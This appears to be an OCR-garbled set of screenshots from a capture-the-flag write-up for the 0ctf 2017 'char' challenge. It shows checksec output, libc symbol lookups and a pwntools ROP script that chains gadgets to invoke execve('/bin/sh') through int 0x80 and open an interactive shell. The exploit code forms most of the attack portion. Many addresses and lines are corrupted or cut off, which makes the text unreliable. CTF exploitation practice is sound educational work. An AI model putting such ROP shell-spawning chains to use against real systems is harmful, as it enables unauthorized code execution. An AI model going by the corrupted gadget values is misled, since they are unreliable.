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[ X xiaoxiaorenwu@ubuntu: ~/pwn/#/rop/0ctf 2017-char

xiaoxiaorenwu@ubuntu: S file char
ELF 32-bit LSB executable, Intel 86386, version 1 (5Y¥SV), dynamically linked, interpre
Jlib/1ld-, for GNUfLinux 2.6.32, BuildID[shal]=4b292f5bfd7089%9a2fe69a25677f42a25e7c2b3df,
stripped
xiaoxiaorenwu@ubuntu: S gdb -q char

Reading symbols from char...(no debugging symbols found)...done.
checksec

[*] '/home/x1laoxiaorenwu/pwn/\xe6\xa0\x88/rop/octf 2017-char/char'
Arch: i386-32-1ittle
RELRO: Partial RELRO
Stack: Mo canary found
NX: NX enabled
PIE: No PIE (0x86048600600)
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LT
PIE:
>> print libc.symbols['system']

744

> print libc.symbols['execve']

755168

>>> print hex(libc.symbols['execve']+0x5555e0008)

Ox556165e6

>>> print hex(libc.symbols['system']+0x5555e0008)

0 5559c~d0
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from pwn import

p process(

context(os

p.recvuntil(

ENS 0x5555e000
sh_addr ©x15D7EC

Xor_eax_pop_ebx Ox7dce9
pop_ecx Oxcae3b

pop_edx oxla9e

int_0x80 ox2df35

inc_eax 0x26a9b
nop_xor_eax 0x7403a
xchg_eax_esp_retb = 0xe6d62
mov_eax_ecx = 0x148253

oxlc
p32(mov_eax_ecx+base)
p32(mov_eax_ecx+base)
p32(xchg_eax_esp_retb+base)

3

p32(xor_eax_pop_ebx+base)
p32(sh_addr+base)
p32(pop_ecx+base)
EVIC))
p32(pop_edx+base)
EVIC))

(11):
payload+= p32(inc_eax+base)
payload+= p32(int_0x80+base)
pause()

p.sendline(payload)

p.interactive()
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. retx 1UE U2 eip Bkt 2 JGesp = esp+4+x.
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